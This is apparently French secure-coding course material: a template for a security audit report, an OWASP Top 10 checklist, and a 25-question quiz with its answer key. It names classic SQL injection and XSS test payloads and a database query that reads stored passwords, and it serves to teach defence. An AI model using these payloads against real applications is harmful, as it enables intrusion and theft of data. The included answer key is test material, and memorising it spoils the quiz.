3.2 Référentiels utilisés

- OWASP Top 10 (2021)
- OWASP Cheat Sheet Series
- STRIDE Threat Modeling (Microsoft)

4. Inventaire des actifs et threat model

4.1 Actifs sensibles identifiés

#	ACTIF	SENSIBILITÉ	JUSTIFICATION
A1			
A2			

4.2 Threat model STRIDE (synthèse)

COMPOSANT	MENACE PRINCIPALE	MITIGATION APPLIQUÉE

5. Vulnérabilités identifiées et corrigées

5.1 Tableau de synthèse

#	OWASP	VULNÉRABILITÉ	SÉVÉRITÉ	STATUT
V1	A07	Mots de passe stockés en clair	Critique	<input checked="" type="checkbox"/> Corrigé
V2	A03	Injection SQL dans /tasks	Critique	<input checked="" type="checkbox"/> Corrigé
V3	A01	IDOR sur GET /tasks/:id	Élevé	<input checked="" type="checkbox"/> Corrigé
V4				

5.2 Détail par vulnérabilité

Pour chaque vulnérabilité, suivre ce gabarit :

**V1, [TITRE COURT]**

<b>OWASP</b>	A07:2021, Identification and Authentication Failures
<b>Sévérité</b>	Critique / Élevée / Moyenne / Faible
<b>Composant</b>	server/routes/auth.js · ligne 23
<b>Description</b>	Les mots de passe sont stockés en clair dans la table users.
<b>Impact</b>	Vol de la base = vol direct de tous les comptes.
<b>Preuve d'exploitation</b>	<code>sqlite3 app.db "SELECT password FROM users LIMIT 1"</code> → mdp en clair
<b>Correction appliquée</b>	Migration vers bcrypt (cost 12), salage automatique, code commité <code>M2-auth-secure</code>
<b>Test de validation</b>	<code>curl -X POST /login -d '{"email":"alice@x.fr","password":"alice"}'</code> → fonctionne avec mdp original ; lecture BDD montre hash bcrypt
<b>Capture</b>	<code>proofs/M2/01-hash-bcrypt.png</code>

(Répéter pour chaque vulnérabilité)

## 6. Tests réalisés

### 6.1 Tests manuels d'exploitation

TEST	PAYLOAD	AVANT CORRECTION	APRÈS CORRECTION
Énumération comptes	login email inexistant	"user not found"	"Identifiants invalides"
SQL injection	<code>' OR '1'='1</code>	dump données	requête vide
XSS stockée	<code>&lt;script&gt;alert(1)&lt;/script&gt;</code>	popup	texte affiché
IDOR	GET /tasks/42 user 7	200 OK	403 Forbidden

### 6.2 Tests automatisés (Jest)

- `tests/security/auth.test.js` , N tests · résultat ☒
- `tests/security/idor.test.js` , N tests · résultat ☒
- `tests/security/injection.test.js` , N tests · résultat ☒

### 6.3 Scan OWASP ZAP

- Date du scan : ...
- Profil : baseline
- Findings : N High, N Medium, N Low, N Info
- Rapport joint : `proofs/zap-report.html`

### 6.4 Audit dépendances

- `npm audit` : N vulnérabilités haute · N moyenne · N basse
- Remédiation : `npm audit fix` exécuté · packages mis à jour : ...

## 7. Checklist OWASP

(Joindre la checklist du dossier `checklists/` cochée)

## 8. Risques résiduels

Ce qui n'est pas (encore) traité, justifié, et plan d'action proposé :

#	RISQUE RÉSIDUEL	JUSTIFICATION	PLAN D'ACTION
R1	Pas de MFA	Hors scope M1, hors temps	À implémenter via TOTP en v2
R2			

## 9. Synthèse compétences acquises

- ☒ Identifier les actifs sensibles d'une application
- ☒ Conduire un threat model STRIDE
- ☒ Auditer du code pour détecter SQLi, XSS, IDOR
- ☒ Implémenter authentification sûre (bcrypt + rate limit)
- ☒ Implémenter RBAC + JWT signé correctement
- ☒ Utiliser requêtes paramétrées + validation Joi/Zod
- ☒ Configurer Helmet, CSP, CSRF
- ☒ Gérer secrets via `.env` + logs structurés
- ☒ Conduire un scan OWASP ZAP et interpréter les résultats
- ☒ Rédiger un rapport de sécurisation professionnel

## Annexes

- **Annexe A**, Threat model STRIDE complet ( `docs/02-threat-model.md` )
- **Annexe B**, Captures d'exploitation ( `proofs/` )
- **Annexe C**, Rapport OWASP ZAP HTML ( `proofs/zap-report.html` )
- **Annexe D**, Logs Jest des tests sécurité

---

*Document rédigé par [Nom] · Cours Développement Sécurisé M1 · [Date]*

# Annexe B. Checklist OWASP

## Checklist OWASP, Étudiant

### À cocher avant rendu du projet

Reprend les 10 catégories OWASP Top 10 (2021). Chaque case = une vérification à effectuer dans **ton** application.

### A01, Broken Access Control

- ☐ Aucune autorisation déléguée au frontend (tout est vérifié côté serveur)
- ☐ Chaque route sensible vérifie l'identité ( `req.user` ) ET le rôle ( `req.user.role` )
- ☐ Pas d'IDOR : les ressources personnelles (tasks, documents, etc.) vérifient `owner === req.user.id`
- ☐ Middleware `requireRole('admin')` testé et appliqué sur `/admin/*`
- ☐ Test : un user normal qui force-fetch `/admin/users` reçoit 403

### A02, Cryptographic Failures

- ☐ Mots de passe hachés avec bcrypt (cost  $\geq 10$ ) ou argon2
- ☐ Aucun secret en clair en BDD
- ☐ JWT signé avec secret long (32+ chars aléatoires)
- ☐ HTTPS activé (au moins en prod, mkcert en dev)
- ☐ Cookies session avec flag `Secure` (en HTTPS)

### A03, Injection

- ☐ Toutes les requêtes SQL utilisent des placeholders `?` (zéro concaténation)
- ☐ Audit `grep -r "SELECT.*\${}|SELECT.*" server/` retourne 0 ligne
- ☐ Échappement HTML côté sortie ( `textContent` ou `DOMPurify` )
- ☐ Test SQLi : payload `' OR '1'='1` ne dump pas la BDD
- ☐ Test XSS : payload `<script>alert(1)</script>` est affiché en texte

### A04, Insecure Design

- ☐ Rate limiting sur `/login` (5 essais / 15 min)



- ☐ Rate limiting sur `/register` (anti-spam)
- ☐ Politique mot de passe  $\geq 12$  caractères
- ☐ Messages d'erreur génériques (pas "user not found")
- ☐ Threat model STRIDE rédigé dans `docs/02-threat-model.md`

## A05, Security Misconfiguration

- ☐ Helmet installé et configuré
- ☐ CSP active avec `default-src 'self'`
- ☐ `X-Frame-Options: DENY` (anti-clickjacking)
- ☐ `Strict-Transport-Security` configuré (HSTS, 1 an)
- ☐ `NODE_ENV=production` désactive les stack traces en réponse
- ☐ CORS configuré (pas `*` en prod)

## A06, Vulnerable and Outdated Components

- ☐ `npm audit` exécuté · 0 vulnérabilité haute ou critique
- ☐ `package-lock.json` commité (versions figées)
- ☐ Dépendances inutiles supprimées
- ☐ Date dernier audit notée dans le rapport

## A07, Identification and Authentication Failures

- ☐ Inscription : email validé (format), mot de passe vérifié (longueur)
- ☐ Login : messages d'erreur uniformes
- ☐ Rate limit appliqué
- ☐ JWT expire ( `expiresIn: '1h'` ou session courte)
- ☐ Logout invalide le token / la session

## A08, Software and Data Integrity Failures

- ☐ Aucune dépendance installée depuis source non vérifiée
- ☐ `npm ci` utilisé en CI (pas `npm install`)
- ☐ Hash d'intégrité utilisé pour les scripts externes (SRI)
- ☐ Pas de désérialisation insecure ( `eval` , `Function()` interdits sur input user)

## A09, Security Logging and Monitoring Failures

- ☐ Logger structuré installé (Winston ou Pino)
- ☐ Événements loggés : login succès/échec, accès admin, erreurs 4xx/5xx

- ☐ Aucun mot de passe / token dans les logs (audit grep)
- ☐ Logs avec horodatage UTC ISO 8601
- ☐ Niveau `INFO` minimum en production

## A10, Server-Side Request Forgery (SSRF)

- ☐ Si l'app fetch des URLs : whitelist de domaines
- ☐ Pas d'accès aux IPs internes (169.254.x, 127.x, 10.x privé)
- ☐ Pas de protocole `file://` , `gopher://` , etc.

---

## Hygiène projet (transverse)

- ☐ `.env` listé dans `.gitignore`
- ☐ `git log -p | grep -i "password|secret|api_key"` retourne 0
- ☐ `.env.example` commité avec variables vides
- ☐ README contient instructions de setup
- ☐ Documentation sécurité dans `docs/` (analyse risques + threat model + rapport)
- ☐ Tests Jest de sécurité présents dans `tests/security/`
- ☐ Scan OWASP ZAP exécuté · rapport joint
- ☐ Tag Git `M7-audit-final` posé sur la version finale

---

**Date d'audit final :** \_\_\_\_\_ **Étudiant :** \_\_\_\_\_

**Signature (déclaration sur l'honneur) :** \_\_\_\_\_

# Annexe C. Quiz d'auto-vérification

## Quiz · Auto-vérification

Vingt-cinq QCM pour vérifier ce que tu as retenu après les sept modules. Tu réponds, tu compares avec le corrigé en bas. Si tu te trompes plus de cinq fois, relis le module concerné.

### Section A, Analyse de risques & Threat Modeling (Q1-Q4)

- Q1.** Dans STRIDE, **R** signifie : - A. Recovery - B. Reverse-engineering - C. Repudiation - D. Remote access
- Q2.** Le risque se calcule comme : - A. Vulnérabilité × Menace - B. Impact × Probabilité - C. Actifs × Vulnérabilités - D. Surface d'attaque × Composants
- Q3.** Un **actif** sensible dans une application web est : - A. Une faille de sécurité connue - B. Un attaquant externe - C. Une donnée ou ressource ayant de la valeur - D. Un outil d'audit
- Q4.** "Defense in Depth" signifie : - A. Mettre un firewall très puissant - B. Empiler plusieurs couches de protection - C. Chiffrer toutes les données - D. Faire du code review systématique

### Section B, Authentification & Mots de passe (Q5-Q9)

- Q5.** bcrypt vs SHA-256 pour stocker un mot de passe : - A. SHA-256 est meilleur car plus rapide - B. bcrypt est meilleur car lent et intègre le sel - C. Les deux sont équivalents - D. SHA-256 n'est pas un algorithme de hachage
- Q6.** Pourquoi un message d'erreur "user not found" est-il problématique sur `/login` ? - A. Il est trop long - B. Il permet l'énumération des comptes existants - C. Il consomme trop de bande passante - D. Il ne respecte pas RGPD
- Q7.** Quelle politique de mot de passe est recommandée par NIST (2024) ? - A. Au moins 8 caractères avec majuscule, chiffre et symbole - B. Au moins 12 caractères, pas d'obligation de complexité - C. Au moins 6 caractères avec symbole obligatoire - D. Au moins 16 caractères tous en majuscules
- Q8.** Le **sel** (salt) en cryptographie sert à : - A. Augmenter la longueur du hash - B. Empêcher les attaques par rainbow tables - C. Chiffrer le mot de passe - D. Réduire les collisions
- Q9.** Le rate limiting sur `/login` protège principalement contre : - A. SQL injection - B. Cross-site scripting - C. Brute force et credential stuffing - D. CSRF

### Section C, Sessions, JWT et Contrôle d'accès (Q10-Q13)

**Q10.** Quelle affirmation sur les JWT est **fausse** ? - A. Le payload n'est pas chiffré, seulement encodé en base64 - B. Un secret faible permet de forger des tokens valides - C. Un JWT signé garantit l'authentification ET le chiffrement - D. Un JWT peut expirer via le champ `exp`

**Q11.** Une vulnérabilité **IDOR** consiste à : - A. Injecter du SQL via un paramètre d'URL - B. Accéder à une ressource sans contrôle d'appartenance - C. Voler le cookie de session - D. Falsifier l'identité d'un user

**Q12.** Un JWT doit idéalement être stocké côté client dans : - A. `localStorage` - B. `sessionStorage` - C. Un cookie `HttpOnly` + `Secure` + `SameSite` - D. Une variable globale JavaScript

**Q13.** Le contrôle d'accès doit toujours être effectué : - A. Côté client uniquement (rapide) - B. Côté serveur uniquement - C. Côté client et serveur, mais le serveur fait foi - D. Par un service tiers externe

---

### Section D, Injections, XSS, Validation (Q14-Q17)

**Q14.** Pour prévenir une injection SQL, la meilleure pratique est : - A. Échapper les apostrophes avec `replace("'", "''")` - B. Utiliser des requêtes paramétrées (placeholders) - C. Bloquer le mot `SELECT` dans les inputs - D. Hasher l'entrée utilisateur

**Q15.** Le payload `<script>alert(document.cookie)</script>` cible : - A. Une injection SQL - B. Une attaque CSRF - C. Une attaque XSS - D. Un SSRF

**Q16.** Quelle méthode JS est la plus sûre pour afficher du texte saisi par un user ? - A. `element.innerHTML = userInput` - B. `element.outerHTML = userInput` - C. `element.textContent = userInput` - D. `eval(userInput)`

**Q17.** La validation des entrées doit être faite : - A. Côté client uniquement (UX rapide) - B. Côté serveur uniquement - C. Côté client (UX) ET côté serveur (sécurité) - D. Dans la base de données via triggers

---

### Section E, CSRF, Headers, HTTPS (Q18-Q20)

**Q18.** Une attaque **CSRF** consiste à : - A. Voler les cookies d'un utilisateur - B. Faire exécuter une action à un user connecté sans son consentement - C. Injecter du JS dans une page tierce - D. Intercepter une requête HTTP

**Q19.** Le cookie flag `HttpOnly` empêche : - A. L'envoi du cookie en HTTP non chiffré - B. L'accès au cookie via JavaScript - C. Le partage du cookie entre sous-domaines - D. L'expiration automatique du cookie

**Q20.** Le header `Content-Security-Policy: default-src 'self'` : - A. Force le HTTPS - B. Limite l'origine des ressources chargées par la page - C. Désactive le cache - D. Bloque tous les cookies tiers

---

**Section F, Secrets, Logs, Audit (Q21-Q25)**

**Q21.** Pourquoi un secret commité dans Git est-il dangereux **même après suppression** ? - A. Le fichier reste sur le disque - B. L'historique Git est immuable et public si repo public - C. Les autres devs l'ont mémorisé - D. C'est uniquement un problème de propriété

**Q22.** Quel élément **doit absolument** apparaître dans `.gitignore` ? - A. `node_modules/` - B. `.env` - C. `*.log` - D. Les trois (A, B, C)

**Q23.** Un log applicatif **ne doit jamais** contenir : - A. La date de la requête - B. L'identifiant de l'utilisateur - C. Le mot de passe ou le token complet - D. Le statut HTTP de la réponse

**Q24.** `npm audit` permet de : - A. Tester les performances de l'app - B. Détecter les vulnérabilités dans les dépendances - C. Linter le code - D. Vérifier le typage TypeScript

**Q25.** OWASP ZAP est un outil de : - A. SAST (Static Application Security Testing) - B. DAST (Dynamic Application Security Testing) - C. SCA (Software Composition Analysis) - D. IDS (Intrusion Detection System)

---

## Corrigé

Q	RÉPONSE	CONCEPT CLÉ
Q1	<b>C</b>	Repudiation = nier une action faite de logs
Q2	<b>B</b>	$R = I \times P$
Q3	<b>C</b>	Actif = chose de valeur à protéger
Q4	<b>B</b>	Plusieurs couches de défense
Q5	<b>B</b>	bcrypt = lent par design + sel intégré
Q6	<b>B</b>	Énumération de comptes
Q7	<b>B</b>	NIST 800-63B 2024 : longueur > complexité
Q8	<b>B</b>	Sel = anti-rainbow tables
Q9	<b>C</b>	Anti brute force
Q10	<b>C</b>	JWT ne chiffre pas, il signe seulement
Q11	<b>B</b>	IDOR = pas de check propriétaire
Q12	<b>C</b>	Cookie HttpOnly + Secure + SameSite
Q13	<b>C</b>	Client = UX, serveur = autorité
Q14	<b>B</b>	Requêtes paramétrées
Q15	<b>C</b>	XSS classique
Q16	<b>C</b>	textContent = pas d'interprétation HTML
Q17	<b>C</b>	Client (UX) + serveur (sécurité)
Q18	<b>B</b>	CSRF = action involontaire
Q19	<b>B</b>	HttpOnly bloque l'accès JS
Q20	<b>B</b>	CSP whitelist sources
Q21	<b>B</b>	Git history immuable
Q22	<b>D</b>	Les 3 minimum
Q23	<b>C</b>	Jamais de secret en log
Q24	<b>B</b>	SCA dépendances
Q25	<b>B</b>	DAST scanner